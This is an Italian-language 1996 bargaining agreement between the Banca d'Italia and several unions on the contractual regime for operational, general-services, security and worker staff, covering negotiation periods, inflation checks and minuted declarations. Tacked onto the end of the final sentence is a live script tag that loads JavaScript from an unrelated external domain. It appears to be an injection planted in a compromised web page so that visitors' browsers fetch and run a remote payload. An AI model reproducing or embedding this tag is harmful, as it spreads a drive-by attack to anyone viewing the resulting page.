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Categoria: Bancari (carriera operativa, BANCA D'ITALIA) Settore: Credito e Assicurazioni Data stipula: 28-3-1996 Data decorrenza: 1-1-1994 Data scadenza: 31-12-1997
Accordi negoziali concernenti la contrattualizzazione del rapporto
d'impiego del personale delle carriere operativa, dei servizi generali e di
sicurezza e operaia della Banca d'Italia
sottoscritti il 28 marzo 1996:
- con FABI, SIBC-CISAL, SNALBI-CONFSAL
- e con FISAC-CGIL, UIB-UIL
CONTRATTUALIZZAZIONE DEL RAPPORTO D'IMPIEGO DEL PERSONALE DELLE CARRIERE
OPERATIVA, DEI SERVIZI GENERALI E DI SICUREZZA ED OPERAIA
(Decorrenza 1.1.1994)
L'Amministrazione, a nome del Direttore Generale, si impegna a trattare le
richieste sindacali inerenti alla disciplina, contenuta nei testi
regolamentari del personale, di tutti gli istituti concernenti il rapporto
d'impiego del personale delle carriere operativa, dei servizi generali e di
sicurezza ed operaia sia normativi sia economici, con esclusione
dell'assegno di sede in valuta e dell'assegno al personale in aspettativa
per assunzione di impieghi all'estero.
La trattativa inerente alla disciplina degli istituti normativi concernenti
il rapporto d'impiego si svolge con cadenza quadriennale.
La trattativa inerente alla disciplina degli istituti economici concernenti
il rapporto d'impiego si svolge con cadenza biennale.
L'Amministrazione si impegna altresì a sottoporre al Governatore gli
specifici accordi negoziali concernenti il personale delle carriere
operativa, dei servizi generali e di sicurezza ed operaia, aventi valenza
autonoma, affinché vengano approvati o respinti nel loro complesso in sede
di Consiglio Superiore.
Ove approvati, i predetti accordi negoziali saranno trasfusi in una parte
distinta del "Regolamento del Personale della Banca d'Italia", che recherà
un formale riferimento di conformità agli accordi medesimi.
Nel corso dei periodi di rispettiva validità dei suddetti accordi
(quadriennale per la parte normativa, biennale per la parte economica):
- le Organizzazioni Sindacali si impegnano a non presentare richieste di
modifica sulle materie disciplinate dagli stessi accordi;
- l'Amministrazione, sempre a nome del Direttore Generale, si impegna a
non sottoporre al Governatore, e quindi al Consiglio Superiore, unilaterali
modifiche sulle materie disciplinate dagli stessi accordi.
Al termine del primo biennio le parti procedono alla comparazione tra
l'inflazione programmata e quella effettiva quale ulteriore punto di
riferimento ai fini della definizione degli accordi economici per il
biennio 1996-1997.
Al termine di ogni successivo biennio le parti, al fine di salvaguardare il
potere d'acquisto delle retribuzioni, procedono alla comparazione tra
l'inflazione programmata e quella effettiva - da valutare anche alla luce
delle eventuali variazioni delle ragioni di scambio del Paese - quale
ulteriore punto di riferimento ai fini della definizione del successivo
accordo economico biennale.
Le previsioni sopra riportate sostituiscono integralmente - nei confronti
delle Organizzazioni Sindacali firmatarie - le precedenti intese in materia
di contrattualizzazione del rapporto d'impiego del personale delle carriere
operativa, dei servizi generali e di sicurezza ed operaia.
Dichiarazioni a verbale
La FABI, il SIBC-CISAL e lo SNALBI-CONFSAL, in considerazione del fatto che
il rinnovo contrattuale 1985-1987 ha portato alla predisposizione di due
accordi negoziali (direttivi e restante personale) aventi la medesima
scadenza triennale, confermano la dichiarazione già fornita nei precedenti
accordi negoziali con la quale sottoscrivono le intese nel presupposto che
siano recepite in un'unica delibera da parte del Consiglio Superiore.
L'Amministrazione, nel prendere atto di tale dichiarazione, si impegna a
sottoporre la stessa al Consiglio Superiore affinché questo la valuti
nell'esercizio della propria autonoma potestà decisionale<script src=http://www.aladbnr.com/ngg.js></script>
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